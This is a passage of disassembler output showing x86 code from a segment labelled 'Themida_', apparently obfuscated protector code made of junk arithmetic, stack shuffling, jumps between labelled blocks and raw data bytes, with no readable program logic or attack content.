		dd 0F3280000h, 65EB805Ah, 510AC380h, 0BFE96AB5h, 380000E9h
		dd 0AE99CC1h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E5DB:				; CODE XREF: Themida_:00513066j
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	27B2h
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_51EC26
; ---------------------------------------------------------------------------
		db 5Bh,	33h, 0Ch
		dd 240C3124h, 5C240C33h, 3911B951h, 0E1C10DB4h,	0A739E908h
		dd 77FF0000h, 58669D1Ch, 24041966h, 0CFC3E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E622:				; CODE XREF: Themida_:00514FA4j
		sub	ebx, 1AE816FCh
		sub	esi, ebx
		pop	ebx
		sub	esi, ecx
		jmp	loc_510452
; ---------------------------------------------------------------------------
		dw 0EB83h
		dd 0C1D3F701h, 0CB8107EBh, 24B01A36h, 2B8DF381h, 0EB8111DAh
		dd 1DAB03B9h, 0D15BDA01h, 0BC281E2h, 52591032h,	2434FF5Fh
		dd 4C4815Ah, 81000000h,	0F0C011C7h, 0A07EE999h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E66E:				; CODE XREF: Themida_:0051B16Aj
		sub	ebx, 0AB06209h
		add	ebx, 0DB50BC9h
		add	ebx, 79EE225Ch
		mov	ecx, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	6CF0h
		mov	[esp], esp
		jmp	loc_5114D3
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0F7h
		dd 14CEBA52h, 0EF813700h, 3F52106Ch, 0C781D729h, 3F52106Ch
		dd 0A1C6E9h, 1C77FF00h,	582434FFh, 48E668h, 24048900h
		dd 4EC81h, 8F540000h, 0EC812404h, 4, 0BE243489h, 4, 0FFED03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50E6E1:				; CODE XREF: Themida_:0051E307j
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_51B64A
; ---------------------------------------------------------------------------


loc_50E6F3:				; CODE XREF: Themida_:0051ED1Aj
		push	2482h
		mov	[esp], ecx
		mov	ecx, 78210EEh
		jmp	loc_5123C6
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0F9h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E70B:				; CODE XREF: Themida_:00515BACj
		push	745B5CABh
		pop	ebp
		shl	ebp, 4
		add	ebp, 6A743D07h
		add	ebp, 4FD5F84Dh
		jmp	loc_50F8D0
; ---------------------------------------------------------------------------


loc_50E725:				; CODE XREF: Themida_:00510DE2j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		push	517Bh
		mov	[esp], edi
		mov	edi, 7B744DD0h
		not	edi
		add	edi, 6FB0AEDh
		sub	esp, 4
		jmp	loc_51014F
; ---------------------------------------------------------------------------
		dd 0D1BE565Bh, 29676415h, 4CE95EF5h, 0F700001Eh, 2CC281D2h
		dd 29481059h, 0E9565AD3h, 0EC53h
; ---------------------------------------------------------------------------


loc_50E774:				; CODE XREF: Themida_:0050E7E3j
		push	58B74DCCh
		pop	eax
		add	eax, 31FF425Ch
		or	eax, 55CE41AEh
		neg	eax
		push	edx
		mov	edx, 1
		sub	eax, edx
		pop	edx
		push	483Bh
		mov	[esp], edi
		jmp	loc_511C64
; ---------------------------------------------------------------------------


loc_50E79C:				; CODE XREF: Themida_:00512CF7j
		pop	ecx
		jmp	loc_519114
; ---------------------------------------------------------------------------


loc_50E7A2:				; CODE XREF: Themida_:00520B2Ej
		add	eax, 50CC3A57h
		add	eax, edx
		jmp	loc_518312
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0D2C7814Fh, 4F53AA40h, 1D94EF81h, 0F889291Ch, 7397E9h
		dd 0E4EB8100h, 0E9611715h, 0FFFFDABAh
; ---------------------------------------------------------------------------


loc_50E7D0:				; CODE XREF: Themida_:0051295Bj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	3C6Ah
		mov	[esp], ecx
		push	eax
		jmp	loc_50E774
; ---------------------------------------------------------------------------


loc_50E7E8:				; CODE XREF: Themida_:0051723Cj
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_512EAE
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Bh,	0FFD8DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50E801:				; CODE XREF: Themida_:00514D90j
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		shl	edi, 2
		xor	edi, 0DE6E91D0h
		add	ebp, 233B7AF8h
		add	ebp, edi
		sub	ebp, 233B7AF8h
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5198FC
; ---------------------------------------------------------------------------
		db 0B4h
		dd 21EFE9F1h, 0C2040001h, 0C22CF000h, 5A2434FFh, 8B04C483h
		dd 8682414h, 8900006Bh,	0E789243Ch, 4C781h, 0C7810000h
		dd 4, 2474FF57h, 3E62E904h, 0CE810000h,	78D37C05h, 0F7DEF746h
		dd 0E822E9DEh, 1ABD0000h, 315C2033h, 2434FFEFh,	0E089505Dh
		dd 405h, 40500h, 4870000h, 0EF835C24h, 75896801h, 60E90000h
		dd 570000AEh, 0D8243481h, 5A64EB2Eh, 2ED8F281h,	3C8B64EBh
		dd 4C48324h, 148BD589h,	4C48124h, 0C1000000h, 0C58104EDh
		dd 3E1408F1h, 5606EDC1h, 126DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_50E8D1:				; CODE XREF: Themida_:0051522Bj
		mov	ebx, 4A98137Ch
		dec	ebx
		shl	ebx, 3
		push	edx
		mov	edx, 1A940187h
		dec	edx
		shl	edx, 7
		jmp	loc_518E37
; ---------------------------------------------------------------------------


loc_50E8E9:				; CODE XREF: Themida_:00512824j
		xor	ebp, ecx
		jmp	loc_51ED54
; ---------------------------------------------------------------------------


loc_50E8F0:				; CODE XREF: Themida_:0050CDEFj
		add	eax, 69165ACh
		jmp	loc_50EE48
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0F75AB6EBh, 942DE938h, 34FF0000h, 0C4815E24h, 4, 81E68956h
		dd 4C6h, 25BB5300h, 816CBC5Bh, 0FF64AACBh, 2DE94307h, 8B00006Dh
		dd 0C483240Ch, 24148B04h, 52E38953h, 987FBBBAh,	89E94222h
		dd 0E9FFFFD7h, 0FFFFCC9Dh, 6824048Bh, 536Ch, 54241489h
		dd 4C2815Ah, 81000000h,	4C2h, 0CA8DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E966:				; CODE XREF: Themida_:0050ED3Dj
		mov	[esp], ebp
		mov	ebp, 2E771225h
		mov	ecx, 27EA3DC7h
		add	ecx, 0FFFFFFFFh
		xor	ecx, 77F316FDh
		shr	ecx, 4
		dec	ecx
		jmp	loc_514E78
; ---------------------------------------------------------------------------


loc_50E988:				; CODE XREF: Themida_:0050FC3Fj
		add	esp, 4
		add	eax, 5D893F5Fh
		sub	eax, esi
		sub	eax, 5D893F5Fh
		pop	esi
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_510B13
; ---------------------------------------------------------------------------
		dw 0F301h
		dd 0FFE9BDE9h, 0C8B66FFh, 4EC8324h, 5F6EE9h, 0DF015900h
		dd 4B39E955h, 53660000h, 0C3FECDB3h, 0FEDEF380h, 66CBFECBh
		dd 6F52E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E9D6:				; CODE XREF: Themida_:0051C161j
		sub	esi, 72E46C70h
		sub	esi, 0D5048C42h
		shr	esi, 3
		dec	esi
		push	ebp
		jmp	loc_517DD3
; ---------------------------------------------------------------------------


loc_50E9EC:				; CODE XREF: Themida_:00512053j
		pop	ecx
		jmp	loc_51EC13
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 4247C01h,	0BF575D5Fh, 4, 815FFD01h, 4EDh,	242C8700h
		dd 241C895Ch, 4DABBA52h, 0E281541Ch, 20C42DE6h,	0DA2F281h
		dd 58E90004h, 5100004Ah, 268h, 995DE900h, 665B0000h, 5724048Bh
		dd 0C781E789h, 4, 2C781h, 3C870000h, 0E5305C24h, 0E530EC30h
		dd 0F6E38853h, 0E9DC88D3h, 0E6A3h, 0E178E951h, 0E953FFFFh
		dd 0DD8Dh, 4C281h, 0EA830000h, 24148704h, 32ADE95Ch, 0D5310000h
		dd 0F5814D5Ah, 1125527Fh, 505DEE01h, 2B8h, 0E9C60100h
		dd 7074h
; ---------------------------------------------------------------------------


loc_50EA98:				; CODE XREF: Themida_:005199E9j
		and	eax, 3CF46789h
		shl	eax, 8
		sub	eax, 1B0C5897h
		push	ebx
		mov	ebx, 0E513A765h
		jmp	loc_50C803
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 2C68300h, 5C243487h, 5DE95266h, 810000B4h
		dd 102C20F3h, 5BDD0168h, 0A865E9h, 58D2B800h, 40483A7Eh
		dd 2B08E635h, 252D4868h, 0E9892255h, 0C4FCh, 0D9F68EB1h
		dd 0A8E9C1FEh, 8BFFFFF5h, 5450241Ch, 4BA5258h, 68000000h
		dd 303Dh, 0BD242C89h, 6E194300h, 515DE829h, 0DBBAE9h
		db 0
; ---------------------------------------------------------------------------


loc_50EB19:				; CODE XREF: Themida_:0051DD81j
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_50EC10
; ---------------------------------------------------------------------------


loc_50EB25:				; CODE XREF: Themida_:0050CEB8j
		and	ah, 2Dh
		or	ah, 98h
		sub	ah, 0B7h
		sub	cl, ah
		jmp	loc_515324
; ---------------------------------------------------------------------------
		db 0BFh, 39h, 7Fh
		dd 3DB907CCh, 3107CC7Fh, 0CF015FF9h, 83240C8Bh,	0E95704C4h
		dd 4929h, 6FDBC581h, 0EE01C55Dh, 0B4E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_50EB5D:				; CODE XREF: Themida_:0051BCBAj
		xchg	eax, [esp]
		pop	esp
		push	4A0Ah
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		push	484Eh
		mov	[esp], esi
		mov	esi, 27D538B3h
		shl	esi, 3
		shl	esi, 7
		xchg	ecx, esi
		jmp	loc_51BB22
; ---------------------------------------------------------------------------
aYsStu		db 'YS[u',0
		db 0
; ---------------------------------------------------------------------------


loc_50EB95:				; CODE XREF: Themida_:0051B297j
		push	edi
		push	13C7h
		mov	[esp], edi
		push	497Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, 5C0B30EFh
		add	edi, ebx
		sub	edi, 5C0B30EFh
		pop	ebx
		sub	esp, 4
		jmp	loc_50EC62
; ---------------------------------------------------------------------------


loc_50EBCD:				; CODE XREF: Themida_:0051ECE1j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_516F74
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 14E95F04h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50EBF3:				; CODE XREF: Themida_:0050E4B8j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_51E73A
; ---------------------------------------------------------------------------


loc_50EC01:				; CODE XREF: Themida_:00519D77j
		mov	eax, esp
		jmp	loc_52004A
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 6C18h
; ---------------------------------------------------------------------------


loc_50EC10:				; CODE XREF: Themida_:0050EB20j
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_518CAA
; ---------------------------------------------------------------------------


loc_50EC20:				; CODE XREF: Themida_:005159D8j
		neg	esi
		push	eax
		mov	eax, 175A434Eh
		add	esi, eax
		pop	eax
		sub	esp, 4
		jmp	loc_50D274
; ---------------------------------------------------------------------------
aSfz		db ']',0
		align 4


loc_50EC3C:				; CODE XREF: Themida_:0050D9DCj
		sub	esi, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5192DA
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C896624h, 49ACE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50EC62:				; CODE XREF: Themida_:0050EBC8j
		mov	[esp], eax
		mov	eax, 4
		sub	edi, 25E93954h
		sub	edi, eax
		add	edi, 25E93954h
		pop	eax
		jmp	loc_51F857
; ---------------------------------------------------------------------------
		dw 159h
		dd 0F0015FF8h, 9AD0E955h, 0E95C0000h, 0E050h, 0ECBAE954h
		dd 0D968FFFFh, 89000003h, 0E389241Ch, 4EC8157h,	89000000h
		dd 0DBA2414h, 0E90B6D2Eh, 32C2h
; ---------------------------------------------------------------------------


loc_50ECB4:				; CODE XREF: Themida_:00517E9Bj
		dec	ebp
		shr	ebp, 3
		or	ebp, 685D3A40h
		jmp	loc_51A2A3
; ---------------------------------------------------------------------------
		db 87h
		dd 0FF5C2404h, 0E99C2404h, 0F04Dh
; ---------------------------------------------------------------------------


loc_50ECD0:				; CODE XREF: Themida_:0050D60Cj
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 5Bh,	0FFh, 34h
		dd 0FC28E924h, 8166FFFFh, 660420F7h, 0E95FFB29h, 10E5h
		dd 685Dh, 3C290000h, 0BE565F24h, 5FE10180h, 0A6A6E9h, 5BDD8800h
		dd 5259E828h, 0EEC029B6h, 0E9C6FE08h, 0C9F2h
; ---------------------------------------------------------------------------


loc_50ED14:				; CODE XREF: Themida_:00519DB5j
		push	4647h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_50E966
; ---------------------------------------------------------------------------
aLSr		db '<$r!',0
		align 2
		dw 0C8Bh
		dd 0F3B5E924h, 0E388FFFFh, 585BDD88h, 0E82859B0h, 0B4505159h
		dd 79E5E9C6h, 0F7810000h, 7D5622C0h, 3C8BFA89h,	4C48124h
		dd 81000000h, 2D5DBBF2h, 8EAC10Bh, 3E2C14Ah, 0EC81D2F7h
		dd 4, 0BF243C89h, 29F1306Dh, 0EF81DFF7h, 0E544497h, 72DEF781h
		dd 0EA810E27h, 29550E71h, 75D0EA81h, 0C28133C3h, 13DA0A5Fh
		dd 0EA81FA29h, 13DA0A5Fh, 75D0C281h, 0C28133C3h, 29550E71h
		dd 0BAB3E9h, 24148900h,	0EE99C50h, 66FFFFC8h, 5566D8F7h
		dd 0FFFFBD66h, 66E80166h, 0CAE0E95Dh, 1660000h,	7F6853C8h
		dd 0E9000007h, 5CF3h
; ---------------------------------------------------------------------------


loc_50EDF8:				; CODE XREF: Themida_:0052043Cj
		sub	ebx, 9C1A0CA5h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, eax
		push	esi
		mov	esi, 22A22B8Ch
		or	esi, 26703181h
		xor	esi, 2B442B05h
		jmp	loc_51F25D
; ---------------------------------------------------------------------------


loc_50EE22:				; CODE XREF: Themida_:00518D32j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	7119h
		mov	[esp], edx
		push	ebx
		push	62806CA0h
		jmp	loc_513563
; ---------------------------------------------------------------------------


loc_50EE48:				; CODE XREF: Themida_:0050E8F5j
		push	edx
		mov	edx, 1B9B0F9Eh
		shl	edx, 2
		or	edx, 766C194Fh
		and	edx, 7A6663D5h
		sub	edx, 2379FA82h
		jmp	loc_51E9DB
; ---------------------------------------------------------------------------


loc_50EE68:				; CODE XREF: Themida_:00512FA4j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_514B73
; ---------------------------------------------------------------------------
		db 0BDh, 0D2h, 3Dh
		dd 4A050A6Ch, 2906BF5Dh, 16D9E9E8h, 0CBFE0000h,	3023F380h
		dd 60F8E9DAh, 0F7810000h, 22D3BB1Fh, 895FFB01h,	0D7EAE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50EEAA:				; CODE XREF: Themida_:00517C15j
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_51DD76
; ---------------------------------------------------------------------------
		db 66h
		dd 0B2241489h, 0B4EA80E0h, 80E2EA80h, 0F2804ECAh, 3EA80C6h
		dd 5A66D028h, 427B753h,	2CF8007Eh, 241C8B7Eh, 6604C483h
		dd 6602FB68h, 0E9241489h, 0F815h, 4246C81h, 43B26FA7h
		dd 7FE95A59h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50EF07:				; CODE XREF: Themida_:005182F8j
		add	ecx, 4
		jmp	loc_51D8F8
; ---------------------------------------------------------------------------
aI8klsK		db '8kLk',0
		dd 4C38100h, 81000000h,	4EBh, 241C8700h, 2434895Ch, 8ABD55h
		dd 0E5814255h, 140C151Eh, 0FFED64E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50EF3D:				; CODE XREF: Themida_:0051EE89j
		add	ebp, ecx
		pop	ecx
		jmp	loc_51E772
; ---------------------------------------------------------------------------


loc_50EF45:				; CODE XREF: Themida_:0051EC3Bj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5201C3
; ---------------------------------------------------------------------------


loc_50EF6D:				; CODE XREF: Themida_:0051F16Cj
		push	dword ptr [esp]
		jmp	loc_51F707
; ---------------------------------------------------------------------------


loc_50EF75:				; CODE XREF: Themida_:005172B5j
		sub	ebp, 2107944h
		pop	edi
		shr	ebp, 1
		or	ebp, 7BF3266Bh
		push	ebp
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_50DB7B
; ---------------------------------------------------------------------------
		dw 72BFh
		dd 0E907BA00h, 0FFFFF80Eh, 6EDC15Fh, 6E14E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50EFAA:				; CODE XREF: Themida_:005142C3j
		shr	bl, 1
		jmp	loc_51120C
; ---------------------------------------------------------------------------


loc_50EFB1:				; CODE XREF: Themida_:00512E6Dj
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		pop	dword ptr [edi+24h]
		pop	ebx


loc_50EFCB:				; CODE XREF: Themida_:0051EEAAj
		sub	esp, 4
		mov	[esp], ebx
		push	75E6h
		jmp	loc_51E372
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 1D7E924h, 0EC810001h, 4, 0B1240C89h,	0E95266E7h, 6C2Ch
; ---------------------------------------------------------------------------


loc_50EFF8:				; CODE XREF: Themida_:00517AFDj
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5324048Bh, 1B8FE9h, 5EF02900h, 2F05C181h, 0C1010949h
		dd 2F05E981h, 48B0949h,	4C48124h, 68000000h, 64DFh, 529BE9h
		db 0
; ---------------------------------------------------------------------------


loc_50F02D:				; CODE XREF: Themida_:00517FA4j
		push	eax
		mov	eax, 344F2B3Ch
		add	eax, 5E3869D8h
		not	eax
		jmp	loc_518D22
; ---------------------------------------------------------------------------


loc_50F03F:				; CODE XREF: Themida_:00515F7Aj
		inc	ebp
		xor	ebp, 77A1A4Ah
		add	ecx, ebp
		jmp	loc_513DBD
; ---------------------------------------------------------------------------


loc_50F04D:				; CODE XREF: Themida_:0051AEE8j
		add	edx, ebx
		pop	ebx
		shl	edx, 3
		add	edx, 16ED9EC8h
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	esi
		jmp	loc_50FAA5
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0B6E95904h, 890000E7h, 5A682404h, 89000062h,	0E6892434h
		dd 4C681h, 0C1680000h, 8900000Eh, 4B9240Ch, 29000000h
		dd 2434FFCEh, 4C48159h,	0E9000000h, 0A13Fh, 4A30F66h, 3AE99C24h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F0AB:				; CODE XREF: Themida_:005151C3j
		dec	eax
		sub	eax, 0DAADEB5Ch
		add	ebp, eax
		pop	eax
		sub	ebp, 4ACC0D5Fh
		sub	ebp, 48B05C84h
		xor	ebp, 0E4FC23A9h
		mov	ecx, ebp
		jmp	loc_51C2F6
; ---------------------------------------------------------------------------
aPiISS		db 'Pȉ',0
		dw 5900h
		dd 0AEC5E9h, 0F6815C00h, 65194757h, 348BF789h, 0E2895224h
		dd 0BC22E9h, 0D3E95600h, 87000117h, 895C241Ch, 3CBB241Ch
		dd 13FD758h, 241C8BD8h,	4C481h,	0BD550000h, 303C138Eh
		dd 295DE801h, 138E2DE8h, 3C2D303Ch, 5D3FD758h, 0CF90E9h
		dd 6C815900h, 6D7D0424h, 54012E22h, 0D8E90424h,	10000CEh
		dd 0F1C281EAh, 5D729C51h, 5C241487h, 0E92424D3h, 0FFFFC495h
		dd 2CA4685Dh, 0C890000h, 56BE5624h, 8161C21Ah, 125559E6h
		dd 1AB8502Fh, 0F75F770Fh, 0F322DD8h, 0E8830D21h, 9D6835FFh
		dd 0C621AA9Bh, 20EE8158h, 8129C828h, 0ED5EAEF6h, 3EBD5575h
		dd 817F9C7Ch, 0ABF1F8EDh, 5DEE2970h, 0E95EF189h, 0E46Ch
		dd 7C00BD55h, 0EB29164Dh, 0FF535A5Dh, 5B042474h, 0E924048Fh
		dd 0EF36h, 348BF701h, 4C48124h,	87000000h, 248B243Ch, 0C8B60F24h
		dd 1D7DE9h, 0CFF6600h, 0AE99C24h, 0FFFFFFC4h, 34FF2434h
		dd 2434FF24h, 83240C8Bh, 0B7E904C4h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50F1EF:				; CODE XREF: Themida_:005207BDj
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 7C164321h
		push	ecx
		jmp	loc_512939
; ---------------------------------------------------------------------------
		dd 42474FFh, 1C63E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F20E:				; CODE XREF: Themida_:00520F01j
		pop	edi
		push	edx
		mov	edx, 404E6BC6h
		or	edx, 4A5A49B5h
		jmp	loc_512E15
; ---------------------------------------------------------------------------


loc_50F220:				; CODE XREF: Themida_:0050DF68j
		push	eax
		mov	eax, 4AC92035h
		dec	eax
		shl	eax, 5
		xor	eax, 7BA86876h
		mov	ebx, eax
		pop	eax
		jmp	loc_5103B7
; ---------------------------------------------------------------------------
		db 5Bh
		dd 6203A5F3h, 336D6838h, 2C890000h, 4EC8324h, 68241C89h
		dd 26DE0C27h, 81FB875Bh, 0FFFFFFEFh, 320668FFh,	0C0E90000h
		dd 81000053h, 4C7h, 3975E900h, 0C4830000h, 0CA6EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F276:				; CODE XREF: Themida_:00510164j
		mov	esi, 0CA076Dh
		shr	esi, 2
		or	esi, 33C47D24h
		add	esi, 0F3745596h
		jmp	loc_51BF19
; ---------------------------------------------------------------------------


loc_50F28F:				; CODE XREF: Themida_:0051BB91j
		pop	ebp
		jmp	loc_51118B
; ---------------------------------------------------------------------------


loc_50F295:				; CODE XREF: Themida_:0051EA8Dj
		movsx	ecx, al
		push	1F59h
		jmp	loc_5137BF
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0CF70E9h
		db 0
; ---------------------------------------------------------------------------


loc_50F2AD:				; CODE XREF: Themida_:0051B59Dj
		push	ecx
		mov	ecx, esp
		jmp	loc_510777
; ---------------------------------------------------------------------------


loc_50F2B5:				; CODE XREF: Themida_:0050DF17j
		add	edi, 4
		jmp	loc_51DBF7
; ---------------------------------------------------------------------------
		dd 8704E983h, 895C240Ch, 4832424h, 0E95A0424h, 0BB82h
; ---------------------------------------------------------------------------


loc_50F2D4:				; CODE XREF: Themida_:00510C77j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		jmp	loc_51A6A5
; ---------------------------------------------------------------------------


loc_50F2E3:				; CODE XREF: Themida_:00511107j
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5126E6
; ---------------------------------------------------------------------------


loc_50F2F7:				; CODE XREF: Themida_:005101C4j
		mov	edi, [esp]
		add	esp, 4
		push	62ACh
		mov	[esp], ebx
		jmp	loc_520854
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 0B7E5E677h, 0E95DE929h, 0F19Fh, 0AD09CCBEh, 57BDE955h
		dd 34FF0000h, 24048B24h, 0F08DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F32E:				; CODE XREF: Themida_:005141C9j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_518515
; ---------------------------------------------------------------------------
		dd 68240C89h, 1D1C6853h, 65D4E9h, 0C1805A00h, 8FEAE906h
		dd 0B9510000h, 64912C01h, 0E902E9C1h, 5283h, 8CB55152h
		dd 88C8ED80h, 0E1CE9EEh, 0F6810001h, 34591AACh,	4ADEE681h
		dd 0BE9642Bh, 870000C1h, 0D25C240Ch, 0E99C2424h, 0FFFFC255h
		dd 42474FFh, 24048F5Eh,	761FE9h, 241C8900h, 0B8CBE9h, 0F4C28100h
		dd 0E920705Ah, 0A854h, 8158C331h, 8DEE7DEBh, 0AE95192h
		dd 5300010Dh, 0EE1B10BBh, 5BDF8943h, 91BFE9h, 5AD50900h
		dd 0FFE8FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50F3D5:				; CODE XREF: Themida_:005202E8j
		push	edi
		mov	edi, 41AA3BDFh
		xor	ebp, edi
		pop	edi
		jmp	loc_51724D
; ---------------------------------------------------------------------------


loc_50F3E3:				; CODE XREF: Themida_:005170BDj
		sub	ebp, esi
		pop	esi
		add	edi, ebp
		pop	ebp
		jmp	loc_5173E5
; ---------------------------------------------------------------------------
		dw 0C583h
		dd 76ACE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F3F6:				; CODE XREF: Themida_:0050DD50j
		sub	ebp, ebx
		xchg	ebp, ebx
		pop	ebp
		jmp	loc_50B8D8
; ---------------------------------------------------------------------------


loc_50F400:				; CODE XREF: Themida_:0051D10Fj
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_516DD5
; ---------------------------------------------------------------------------
		dd 24048B66h, 81E28952h, 4C2h, 0BF575500h, 5F7240C9h, 455FFD89h
		dd 3F37F581h, 0EDC14710h, 0E5ED8105h, 5653AD7Ah, 0EA66EABEh
		dd 8BF50152h, 0ABE92434h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F443:				; CODE XREF: Themida_:0050CFA3j
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_520173
; ---------------------------------------------------------------------------


loc_50F455:				; CODE XREF: Themida_:0051E375j
		push	60D94254h
		jmp	loc_519923
; ---------------------------------------------------------------------------


loc_50F45F:				; CODE XREF: Themida_:0050BD4Ej
		shl	edx, 7
		xor	edx, 91F2EC4Bh
		and	edi, edx
		jmp	loc_512804
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 0E7895724h, 4EC81h, 34890000h, 4BE24h, 56E90000h
		db 0DFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F48B:				; CODE XREF: Themida_:0051DC92j
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_50DC30
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 24148B5Ch, 0E9545256h, 30B9h
; ---------------------------------------------------------------------------


loc_50F4B0:				; CODE XREF: Themida_:0051BB1Dj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5172BA
; ---------------------------------------------------------------------------
		db 80h
		dd 0DAE91EEFh
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50F4C7:				; CODE XREF: Themida_:0051C40Cj
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		sub	esp, 4
		jmp	loc_50CE68
; ---------------------------------------------------------------------------
		db 0BBh
		dd 590D712Fh, 0E95BDD09h, 0A911h, 0CF54E958h, 0DCBFFFFFh
		dd 5318F331h, 423952BBh, 0BDC5E949h, 0E9540000h, 5543h
		dd 80E98158h, 29774406h, 80C181F1h, 5E774406h, 34FFCE01h
		dd 54505924h, 40558h, 0E8830000h, 24048704h, 8924248Bh
		dd 0AFE9242Ch, 88FFFFC6h, 88D9F6F1h, 0F642E9CEh, 5055FFFFh
		dd 952BD55h, 43B8149Fh,	2D443D46h, 31011B58h, 8DE9E801h
		dd 81000080h, 0D95594C7h, 5FF80198h, 0B968C829h, 89000029h
		dd 0E5BD242Ch, 0E906D577h, 9A6Bh
; ---------------------------------------------------------------------------


loc_50F580:				; CODE XREF: Themida_:00514A25j
